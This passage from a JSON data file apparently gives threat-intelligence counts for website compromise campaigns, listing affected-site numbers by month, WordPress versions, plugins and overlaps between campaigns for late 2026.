ewSites":135},{"month":"2026-11","sites":44,"newSites":8}],"wpCore":{"6.0":19,"6.1":11,"6.2":6,"6.3":6,"6.4":17,"6.5":10,"6.6":10,"6.7":21,"6.8":57,"6.9":72,"7.0":55,"7.1":631,"other":583,"older6":61},"plugins":{"akismet":54,"elementor":431,"revslider":151,"wordfence":103,"js_composer":92,"woocommerce":177,"wpforms-lite":96,"elementor-pro":176,"wordpress-seo":158,"complianz-gdpr":53,"contact-form-7":377,"duplicate-post":54,"instagram-feed":51,"google-site-kit":216,"litespeed-cache":78,"seo-by-rank-math":51,"all-in-one-seo-pack":61,"header-footer-elementor":58,"google-analytics-for-wordpress":51,"essential-addons-for-elementor-lite":46},"sites30":1324,"captured":1648,"lastSeen":"2026-11-04","overlaps":{"la02":19,"lenai":1075,"chainbite":11,"clearshort":33},"firstSeen":"2026-08-02","wordpress":1559,"persistence":{"still":1168,"rechecked":1556}},"polytds":{"sites":31,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":2,"newSites":2},{"month":"2026-10","sites":29,"newSites":29},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":3,"older6":0},"plugins":{"elementor":1,"wordfence":0,"add-to-any":1,"js_composer":1,"woocommerce":2,"elementor-pro":1,"woocustomizer":1,"contact-form-7":1,"wp-postratings":1,"keydesign-addon":1,"litespeed-cache":1,"redux-framework":1,"wholesale-market":1,"q2w3-fixed-widget":1,"novapay-gateway-plugin":1,"social-icons-widget-by-wpzoom":1},"sites30":29,"captured":31,"lastSeen":"2026-10-08","overlaps":{},"firstSeen":"2026-09-29","wordpress":3,"persistence":{"still":0,"rechecked":0}},"rtcgnaw":{"sites":23,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":15,"newSites":15},{"month":"2026-10","sites":15,"newSites":8},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":10,"older6":0},"plugins":{"akismet":3,"elementor":5,"wordfence":1,"popup-maker":2,"woocommerce":10,"gravityforms":3,"wp-smush-pro":2,"wpforms-lite":2,"elementor-pro":4,"mailchimp-for-wp":2,"seo-by-rank-math":2,"better-wp-security":2,"woocommerce-payments":4,"google-listings-and-ads":2,"facebook-for-woocommerce":2,"mailchimp-for-woocommerce":3,"ajax-search-for-woocommerce":2,"woocommerce-paypal-payments":3,"duracelltomi-google-tag-manager":2,"woocommerce-gateway-authorize-net-cim":2,"woocommerce-variation-swatches-and-photos":2},"sites30":16,"captured":13,"lastSeen":"2026-10-29","overlaps":{},"firstSeen":"2026-09-04","wordpress":10,"persistence":{"still":4,"rechecked":4}},"twinkey":{"sites":70,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":48,"newSites":48},{"month":"2026-10","sites":60,"newSites":21},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"7.0":5,"7.1":44,"other":6,"older6":5},"plugins":{"akismet":5,"metform":3,"elementor":25,"revslider":9,"wordfence":0,"js_composer":8,"layerslider":3,"woocommerce":14,"font-awesome":3,"wpforms-lite":5,"elementor-pro":14,"wordpress-seo":10,"contact-form-7":17,"genesis-blocks":3,"instagram-feed":3,"cookie-law-info":3,"google-site-kit":3,"litespeed-cache":3,"elementskit-lite":6,"header-footer-elementor":4,"essential-addons-for-elementor-lite":3},"sites30":59,"captured":61,"lastSeen":"2026-11-01","overlaps":{"la02":19,"lenai":19,"bwpanel":34,"drivesurge":13,"overlaywar":18},"firstSeen":"2026-09-07","wordpress":60,"persistence":{"still":36,"rechecked":39}},"xorveil":{"sites":777,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":199,"newSites":199},{"month":"2026-10","sites":600,"newSites":500},{"month":"2026-11","sites":81,"newSites":78}],"wpCore":{"6.4":8,"6.5":6,"6.7":8,"6.8":53,"6.9":49,"7.0":49,"7.1":430,"other":46,"older6":13},"plugins":{"akismet":34,"elementor":268,"hostinger":40,"revslider":66,"wordfence":36,"wp-rocket":45,"js_composer":34,"woocommerce":122,"wpforms-lite":45,"elementor-pro":122,"wordpress-seo":85,"contact-form-7":153,"google-site-kit":100,"hostinger-reach":45,"litespeed-cache":99,"elementskit-lite":59,"seo-by-rank-math":118,"header-footer-elementor":45,"google-analytics-for-wordpress":21,"essential-addons-for-elementor-lite":44},"sites30":672,"captured":676,"lastSeen":"2026-11-04","overlaps":{"la02":92,"lenai":112,"bwpanel":14,"branchhop":12,"skinframe":21,"drivesurge":36,"embedshade":24,"overlaywar":76,"doubledonut":12},"firstSeen":"2026-09-02","wordpress":662,"persistence":{"still":91,"rechecked":116}},"authgnaw":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":1,"newSites":1},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-07","overlaps":{},"firstSeen":"2026-09-07","wordpress":0,"persistence":{"still":0,"rechecked":0}},"basetask":{"sites":225,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":202,"newSites":202},{"month":"2026-10","sites":21,"newSites":21},{"month":"2026-11","sites":2,"newSites":2}],"wpCore":{"other":1,"older6":0},"plugins":{"wordfence":0},"sites30":22,"captured":192,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-09-07","wordpress":1,"persistence":{"still":0,"rechecked":0}},"checkbot":{"sites":159,"joomla":111,"months":[{"month":"2026-08","sites":18,"newSites":18},{"month":"2026-09","sites":130,"newSites":130},{"month":"2026-10","sites":89,"newSites":10},{"month":"2026-11","sites":2,"newSites":1}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":89,"captured":113,"lastSeen":"2026-11-04","overlaps":{"smartapesg":128},"firstSeen":"2026-08-24","wordpress":0,"persistence":{"still":79,"rechecked":104}},"filedrop":{"sites":18,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":2,"newSites":2},{"month":"2026-11","sites":16,"newSites":16}],"wpCore":{"other":6,"older6":0},"plugins":{"wordfence":0,"shortcodes-for-digipress":3},"sites30":18,"captured":18,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-10-28","wordpress":6,"persistence":{"still":0,"rechecked":0}},"gzipgnaw":{"sites":6408,"joomla":16,"months":[{"month":"2026-08","sites":1815,"newSites":1815},{"month":"2026-09","sites":3760,"newSites":3577},{"month":"2026-10","sites":3508,"newSites":1016},{"month":"2026-11","sites":168,"newSites":0}],"wpCore":{"6.0":12,"6.1":6,"6.2":6,"6.3":5,"6.4":12,"6.5":18,"6.6":16,"6.7":29,"6.8":46,"6.9":234,"7.0":1237,"7.1":1700,"other":276,"older6":26},"plugins":{"akismet":351,"jetpack":272,"elementor":1527,"revslider":406,"wordfence":269,"wp-rocket":180,"js_composer":232,"woocommerce":912,"wpforms-lite":185,"elementor-pro":886,"wordpress-seo":489,"complianz-gdpr":204,"contact-form-7":1017,"cookie-law-info":163,"google-site-kit":470,"litespeed-cache":214,"elementskit-lite":139,"seo-by-rank-math":143,"header-footer-elementor":133,"essential-addons-for-elementor-lite":164},"sites30":3280,"captured":3727,"lastSeen":"2026-11-03","overlaps":{"la02":33,"lenai":34,"branchhop":26,"chainbite":18,"hotejmain":26,"linkcradle":18,"overlaywar":10,"smartapesg":14},"firstSeen":"2026-08-10","wordpress":3623,"persistence":{"still":2611,"rechecked":2899}},"hashtail":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":2,"newSites":1},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":1,"lastSeen":"2026-09-07","overlaps":{},"firstSeen":"2026-08-11","wordpress":0,"persistence":{"still":1,"rechecked":1}},"kongtuke":{"sites":41,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":31,"newSites":31},{"month":"2026-10","sites":22,"newSites":10},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"7.0":7,"7.1":7,"other":6,"older6":0},"plugins":{"akismet":1,"elementor":7,"revslider":2,"wordfence":3,"add-to-any":1,"forminator":2,"autoptimize":1,"ninja-forms":2,"gravityforms":3,"elementor-pro":5,"wordpress-seo":7,"contact-form-7":3,"duplicate-post":2,"instagram-feed":2,"smart-slider-3":2,"google-site-kit":3,"accordion-blocks":1,"seo-by-rank-math":2,"custom-twitter-feeds":2,"equal-height-columns":2},"sites30":21,"captured":26,"lastSeen":"2026-10-14","overlaps":{},"firstSeen":"2026-09-03","wordpress":20,"persistence":{"still":12,"rechecked":16}},"miarroba":{"sites":54,"joomla":0,"months":[{"month":"2026-08","sites":13,"newSites":13},{"month":"2026-09","sites":26,"newSites":26},{"month":"2026-10","sites":16,"newSites":15},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":13,"captured":20,"lastSeen":"2026-10-29","overlaps":{},"firstSeen":"2026-08-10","wordpress":0,"persistence":{"still":1,"rechecked":2}},"proxysig":{"sites":100,"joomla":0,"months":[{"month":"2026-08","sites":14,"newSites":14},{"month":"2026-09","sites":59,"newSites":59},{"month":"2026-10","sites":47,"newSites":27},{"month":"2026-11","sites":1,"newSites":0}],"wpCore":{"7.1":17,"other":9,"older6":0},"plugins":{"ave-core":1,"elementor":8,"wordfence":0,"kadence-pro":2,"pro-elements":2,"elementor-pro":4,"wordpress-seo":2,"contact-form-7":6,"fluent-booking":1,"kadence-blocks":4,"google-site-kit":5,"litespeed-cache":9,"burst-statistics":1,"elementskit-lite":1,"seo-by-rank-math":6,"blocksy-companion":1,"booster-extension":1,"creame-whatsapp-me":1,"ewww-optimizer-256":1,"date-time-picker-for-contact-form-7":1,"essential-addons-for-elementor-lite":1},"sites30":48,"captured":52,"lastSeen":"2026-11-04","overlaps":{"doubledonut":89},"firstSeen":"2026-08-10","wordpress":26,"persistence":{"still":20,"rechecked":26}},"samepath":{"sites":315,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":73,"newSites":73},{"month":"2026-10","sites":222,"newSites":222},{"month":"2026-11","sites":20,"newSites":20}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":229,"captured":88,"lastSeen":"2026-11-03","overlaps":{},"firstSeen":"2026-09-02","wordpress":0,"persistence":{"still":0,"rechecked":0}},"twintail":{"sites":3,"joomla":0,"months":[{"month":"2026-08","sites":2,"newSites":2},{"month":"2026-09","sites":3,"newSites":1},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-20","overlaps":{},"firstSeen":"2026-08-15","wordpress":0,"persistence":{"still":0,"rechecked":0}},"txtrelay":{"sites":306,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":217,"newSites":217},{"month":"2026-11","sites":91,"newSites":89}],"wpCore":{"6.1":5,"6.3":6,"6.5":7,"6.6":9,"6.7":6,"6.8":7,"6.9":22,"7.0":17,"7.1":96,"other":64,"older6":33},"plugins":{"elementor":109,"revslider":55,"wordfence":10,"js_composer":39,"popup-maker":8,"woocommerce":46,"pro-elements":8,"wpforms-lite":9,"elementor-pro":57,"wordpress-seo":14,"contact-form-7":98,"instagram-feed":12,"cookie-law-info":8,"google-site-kit":20,"litespeed-cache":15,"elementskit-lite":8,"creame-whatsapp-me":10,"header-footer-elementor":16,"google-analytics-for-wordpress":7,"essential-addons-for-elementor-lite":10},"sites30":290,"captured":278,"lastSeen":"2026-11-04","overlaps":{"lenai":304,"chainbite":16,"overlaywar":10},"firstSeen":"2026-10-01","wordpress":272,"persistence":{"still":6,"rechecked":12}},"3dcookies":{"sites":6,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":3,"newSites":3},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":2,"captured":2,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-08-28","wordpress":0,"persistence":{"still":0,"rechecked":0}},"branchhop":{"sites":1699,"joomla":0,"months":[{"month":"2026-08","sites":2,"newSites":2},{"month":"2026-09","sites":645,"newSites":645},{"month":"2026-10","sites":1341,"newSites":909},{"month":"2026-11","sites":163,"newSites":143}],"wpCore":{"6.1":9,"6.2":7,"6.4":10,"6.5":11,"6.6":21,"6.7":25,"6.8":60,"6.9":134,"7.0":152,"7.1":812,"other":97,"older6":45},"plugins":{"elementor":629,"revslider":170,"wordfence":40,"js_composer":94,"woocommerce":232,"wpforms-lite":77,"elementor-pro":313,"wordpress-seo":100,"contact-form-7":406,"google-site-kit":172,"litespeed-cache":76,"elementskit-lite":93,"seo-by-rank-math":145,"meks-easy-ads-widget":60,"meks-easy-social-share":60,"header-footer-elementor":81,"meks-flexible-shortcodes":61,"meks-smart-author-widget":61,"meks-smart-social-widget":61,"meks-simple-flickr-widget":60,"meks-easy-instagram-widget":60},"sites30":1457,"captured":1442,"lastSeen":"2026-11-04","overlaps":{"la02":129,"lenai":234,"coruna":12,"bwpanel":67,"xorveil":12,"gzipgnaw":26,"chainbite":48,"skinframe":47,"drivesurge":106,"embedshade":24,"guardframe":52,"linkcradle":25,"overlaywar":214,"socgholish":10,"tableframe":19,"doubledonut":12,"trackmyposs":13},"firstSeen":"2026-08-31","wordpress":1383,"persistence":{"still":371,"rechecked":421}},"chainbite":{"sites":10584,"joomla":1692,"months":[{"month":"2026-08","sites":172,"newSites":172},{"month":"2026-09","sites":4840,"newSites":4834},{"month":"2026-10","sites":7821,"newSites":5154},{"month":"2026-11","sites":462,"newSites":424}],"wpCore":{"6.0":26,"6.1":33,"6.2":40,"6.3":32,"6.4":36,"6.5":51,"6.6":51,"6.7":71,"6.8":145,"6.9":280,"7.0":242,"7.1":2714,"other":294,"older6":209},"plugins":{"akismet":343,"jetpack":291,"elementor":1961,"revslider":704,"wordfence":355,"astra-sites":152,"js_composer":356,"woocommerce":751,"wpforms-lite":297,"elementor-pro":828,"wordpress-seo":399,"complianz-gdpr":162,"contact-form-7":1381,"google-site-kit":621,"litespeed-cache":269,"elementskit-lite":303,"seo-by-rank-math":209,"creame-whatsapp-me":146,"header-footer-elementor":344,"essential-addons-for-elementor-lite":248},"sites30":8277,"captured":7823,"lastSeen":"2026-11-04","overlaps":{"la02":71,"lenai":213,"bwpanel":34,"nochain":11,"gzipgnaw":18,"txtrelay":16,"branchhop":48,"cookiedam":20,"fleetsync":807,"drivesurge":16,"embedshade":25,"guardframe":12,"overlaywar":31,"socgholish":13,"tableframe":15,"doubledonut":46},"firstSeen":"2026-08-10","wordpress":4224,"persistence":{"still":2615,"rechecked":3009}},"clocktail":{"sites":170,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":1,"newSites":0},{"month":"2026-10","sites":79,"newSites":79},{"month":"2026-11","sites":90,"newSites":90}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":115,"captured":117,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-08-15","wordpress":0,"persistence":{"still":0,"rechecked":0}},"cookiedam":{"sites":59,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":39,"newSites":38},{"month":"2026-10","sites":45,"newSites":17},{"month":"2026-11","sites":4,"newSites":3}],"wpCore":{"7.1":23,"other":20,"older6":4},"plugins":{"akismet":2,"elementor":27,"revslider":5,"wordfence":3,"astra-sites":4,"js_composer":4,"woocommerce":11,"wpforms-lite":4,"cookie-notice":3,"elementor-pro":8,"wordpress-seo":6,"contact-form-7":18,"instagram-feed":3,"google-site-kit":5,"elementskit-lite":4,"mailchimp-for-wp":5,"header-footer-elementor":3,"bluehost-wordpress-plugin":2,"click-to-chat-for-whatsapp":4,"essential-addons-for-elementor-lite":4},"sites30":47,"captured":51,"lastSeen":"2026-11-04","overlaps":{"lenai":11,"chainbite":20},"firstSeen":"2026-08-29","wordpress":47,"persistence":{"still":28,"rechecked":30}},"darksword":{"sites":9,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":1,"newSites":1},{"month":"2026-10","sites":6,"newSites":6},{"month":"2026-11","sites":2,"newSites":2}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":8,"captured":7,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-09-17","wordpress":0,"persistence":{"still":0,"rechecked":0}},"fleetsync":{"sites":1035,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":789,"newSites":789},{"month":"2026-10","sites":652,"newSites":191},{"month":"2026-11","sites":61,"newSites":55}],"wpCore":{"6.1":7,"6.3":6,"6.4":6,"6.5":13,"6.6":16,"6.7":13,"6.8":19,"6.9":54,"7.0":22,"7.1":373,"other":59,"older6":36},"plugins":{"jetpack":23,"elementor":295,"revslider":83,"wordfence":6,"wp-rocket":23,"gtranslate":16,"astra-sites":26,"js_composer":39,"woocommerce":94,"pro-elements":18,"wpforms-lite":22,"elementor-pro":131,"complianz-gdpr":15,"contact-form-7":188,"instagram-feed":17,"google-site-kit":64,"elementskit-lite":41,"header-footer-elementor":49,"bluehost-wordpress-plugin":15,"click-to-chat-for-whatsapp":16,"essential-addons-for-elementor-lite":51},"sites30":754,"captured":836,"lastSeen":"2026-11-04","overlaps":{"lenai":26,"chainbite":807,"socgholish":12,"doubledonut":16},"firstSeen":"2026-09-02","wordpress":624,"persistence":{"still":492,"rechecked":535}},"framegnaw":{"sites":7,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":6,"newSites":4},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-18","overlaps":{},"firstSeen":"2026-08-19","wordpress":0,"persistence":{"still":0,"rechecked":0}},"hotejmain":{"sites":98,"joomla":29,"months":[{"month":"2026-08","sites":17,"newSites":17},{"month":"2026-09","sites":23,"newSites":22},{"month":"2026-10","sites":79,"newSites":59},{"month":"2026-11","sites":1,"newSites":0}],"wpCore":{"6.9":6,"7.1":35,"other":9,"older6":0},"plugins":{"pwa":2,"akismet":5,"honeypot":2,"pagelayer":2,"revslider":14,"wordfence":3,"wp-rocket":4,"fusion-core":4,"layerslider":4,"woocommerce":6,"cookie-notice":4,"wordpress-seo":5,"complianz-gdpr":3,"contact-form-7":11,"duplicate-post":5,"fusion-builder":13,"instagram-feed":4,"google-site-kit":8,"the-events-calendar":3,"contact-form-7-honeypot":2},"sites30":79,"captured":80,"lastSeen":"2026-11-04","overlaps":{"gzipgnaw":26,"smartapesg":21},"firstSeen":"2026-08-10","wordpress":50,"persistence":{"still":20,"rechecked":25}},"imagegnaw":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":1,"older6":0},"plugins":{"jetpack":1,"elementor":1,"wordfence":0,"astra-sites":1,"woocommerce":1,"wpforms-lite":1,"the-post-grid":1,"creame-whatsapp-me":1},"sites30":1,"captured":1,"lastSeen":"2026-10-07","overlaps":{},"firstSeen":"2026-08-16","wordpress":1,"persistence":{"still":1,"rechecked":1}},"jokerstat":{"sites":9,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":9,"newSites":8},{"month":"2026-10","sites":2,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":2,"captured":3,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-08-28","wordpress":0,"persistence":{"still":1,"rechecked":2}},"nexosiren":{"sites":9,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":9,"newSites":9},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":9,"captured":6,"lastSeen":"2026-10-24","overlaps":{},"firstSeen":"2026-10-10","wordpress":0,"persistence":{"still":0,"rechecked":0}},"omegalord":{"sites":7,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":7,"newSites":7},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-21","overlaps":{},"firstSeen":"2026-09-04","wordpress":0,"persistence":{"still":0,"rechecked":0}},"passtwice":{"sites":152,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":97,"newSites":97},{"month":"2026-10","sites":52,"newSites":52},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":51,"captured":68,"lastSeen":"2026-10-31","overlaps":{},"firstSeen":"2026-08-31","wordpress":0,"persistence":{"still":0,"rechecked":0}},"pixelmenu":{"sites":165,"joomla":153,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":5,"newSites":5},{"month":"2026-10","sites":157,"newSites":155},{"month":"2026-11","sites":5,"newSites":5}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":162,"captured":157,"lastSeen":"2026-11-04","overlaps":{"smartapesg":154},"firstSeen":"2026-09-26","wordpress":0,"persistence":{"still":2,"rechecked":3}},"popuppond":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":2,"newSites":2},{"month":"2026-09","sites":2,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-10","overlaps":{},"firstSeen":"2026-08-04","wordpress":0,"persistence":{"still":1,"rechecked":1}},"skinframe":{"sites":1069,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":241,"newSites":241},{"month":"2026-10","sites":806,"newSites":716},{"month":"2026-11","sites":143,"newSites":112}],"wpCore":{"6.1":7,"6.2":6,"6.4":6,"6.5":9,"6.6":14,"6.7":18,"6.8":61,"6.9":107,"7.0":105,"7.1":515,"other":68,"older6":28},"plugins":{"akismet":34,"metform":24,"elementor":383,"revslider":91,"wordfence":27,"js_composer":40,"woocommerce":81,"pro-elements":32,"wpforms-lite":37,"elementor-pro":180,"wordpress-seo":74,"contact-form-7":201,"google-site-kit":94,"litespeed-cache":61,"elementskit-lite":74,"seo-by-rank-math":47,"all-in-one-seo-pack":29,"royal-elementor-addons":25,"header-footer-elementor":70,"essential-addons-for-elementor-lite":55},"sites30":860,"captured":955,"lastSeen":"2026-11-04","overlaps":{"la02":166,"lenai":224,"bwpanel":41,"xorveil":21,"branchhop":47,"drivesurge":142,"embedshade":54,"overlaywar":386,"socgholish":19,"doubledonut":16},"firstSeen":"2026-09-07","wordpress":944,"persistence":{"still":99,"rechecked":135}},"sneaky2fa":{"sites":20,"joomla":0,"months":[{"month":"2026-08","sites":19,"newSites":19},{"month":"2026-09","sites":1,"newSites":1},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-05","overlaps":{},"firstSeen":"2026-08-01","wordpress":0,"persistence":{"still":0,"rechecked":0}},"stripcall":{"sites":208,"joomla":0,"months":[{"month":"2026-08","sites":31,"newSites":31},{"month":"2026-09","sites":158,"newSites":158},{"month":"2026-10","sites":101,"newSites":17},{"month":"2026-11","sites":3,"newSites":2}],"wpCore":{"7.0":18,"7.1":42,"other":24,"older6":12},"plugins":{"akismet":12,"jetpack":6,"elementor":16,"ml-slider":3,"revslider":9,"wordfence":3,"js_composer":6,"ninja-forms":4,"woocommerce":7,"wpforms-lite":7,"wordpress-seo":11,"contact-form-7":31,"instagram-feed":4,"smart-slider-3":3,"google-site-kit":9,"hostinger-reach":3,"litespeed-cache":7,"all-in-one-seo-pack":3,"framework-triappment":3,"google-analytics-for-wordpress":5,"uniserviceist-multiinfrastructure":7},"sites30":100,"captured":104,"lastSeen":"2026-11-03","overlaps":{"la02":30,"overlaywar":18,"socgholish":113},"firstSeen":"2026-08-10","wordpress":96,"persistence":{"still":76,"rechecked":94}},"turnshade":{"sites":120,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":110,"newSites":110},{"month":"2026-10","sites":28,"newSites":10},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":28,"captured":30,"lastSeen":"2026-10-23","overlaps":{},"firstSeen":"2026-09-10","wordpress":0,"persistence":{"still":18,"rechecked":18}},"vaultskim":{"sites":89,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":70,"newSites":70},{"month":"2026-10","sites":84,"newSites":19},{"month":"2026-11","sites":12,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":62,"captured":55,"lastSeen":"2026-11-02","overlaps":{},"firstSeen":"2026-09-21","wordpress":0,"persistence":{"still":50,"rechecked":50}},"adminshade":{"sites":127,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":52,"newSites":52},{"month":"2026-10","sites":80,"newSites":65},{"month":"2026-11","sites":15,"newSites":10}],"wpCore":{"6.8":7,"6.9":6,"7.0":6,"7.1":59,"other":12,"older6":1},"plugins":{"megamenu":4,"elementor":49,"revslider":15,"wordfence":2,"gtranslate":5,"elementskit":4,"js_composer":9,"woocommerce":26,"pro-elements":4,"wpforms-lite":7,"elementor-pro":24,"wordpress-seo":7,"contact-form-7":28,"google-site-kit":11,"litespeed-cache":16,"elementskit-lite":13,"mailchimp-for-wp":8,"seo-by-rank-math":6,"creame-whatsapp-me":6,"header-footer-elementor":7,"essential-addons-for-elementor-lite":5},"sites30":88,"captured":97,"lastSeen":"2026-11-03","overlaps":{"la02":30,"lenai":71,"drivesurge":22,"overlaywar":22},"firstSeen":"2026-09-02","wordpress":91,"persistence":{"still":17,"rechecked":32}},"bluenoroff":{"sites":15,"joomla":0,"months":[{"month":"2026-08","sites":3,"newSites":3},{"month":"2026-09","sites":4,"newSites":4},{"month":"2026-10","sites":9,"newSites":8},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":8,"captured":8,"lastSeen":"2026-10-26","overlaps":{},"firstSeen":"2026-08-11","wordpress":0,"persistence":{"still":1,"rechecked":1}},"clearshort":{"sites":155,"joomla":0,"months":[{"month":"2026-08","sites":54,"newSites":54},{"month":"2026-09","sites":78,"newSites":66},{"month":"2026-10","sites":96,"newSites":31},{"month":"2026-11","sites":6,"newSites":4}],"wpCore":{"6.8":9,"7.0":11,"7.1":37,"other":30,"older6":3},"plugins":{"elementor":42,"revslider":10,"wordfence":4,"templately":4,"js_composer":4,"woocommerce":18,"wpforms-lite":8,"elementor-pro":17,"wordpress-seo":13,"complianz-gdpr":4,"contact-form-7":23,"google-site-kit":10,"litespeed-cache":4,"elementskit-lite":6,"mailchimp-for-wp":4,"custom-login-styler":5,"woocommerce-payments":4,"header-footer-elementor":7,"google-analytics-for-wordpress":4,"essential-addons-for-elementor-lite":5},"sites30":95,"captured":100,"lastSeen":"2026-11-04","overlaps":{"la02":10,"lenai":14,"bwpanel":10,"nochain":33},"firstSeen":"2026-08-10","wordpress":90,"persistence":{"still":52,"rechecked":69}},"configgnaw":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":1,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":1,"lastSeen":"2026-10-02","overlaps":{},"firstSeen":"2026-08-04","wordpress":0,"persistence":{"still":0,"rechecked":1}},"drivesurge":{"sites":3048,"joomla":0,"months":[{"month":"2026-08","sites":491,"newSites":491},{"month":"2026-09","sites":1907,"newSites":1901},{"month":"2026-10","sites":1558,"newSites":459},{"month":"2026-11","sites":250,"newSites":197}],"wpCore":{"6.0":12,"6.1":18,"6.2":11,"6.3":12,"6.4":18,"6.5":13,"6.6":40,"6.7":46,"6.8":89,"6.9":154,"7.0":208,"7.1":1087,"other":128,"older6":85},"plugins":{"akismet":89,"elementor":963,"revslider":236,"wordfence":105,"js_composer":102,"woocommerce":453,"pro-elements":58,"wpforms-lite":137,"elementor-pro":471,"wordpress-seo":169,"contact-form-7":511,"google-site-kit":249,"hostinger-reach":61,"litespeed-cache":169,"elementskit-lite":174,"seo-by-rank-math":89,"royal-elementor-addons":71,"header-footer-elementor":147,"click-to-chat-for-whatsapp":82,"essential-addons-for-elementor-lite":137},"sites30":1678,"captured":2003,"lastSeen":"2026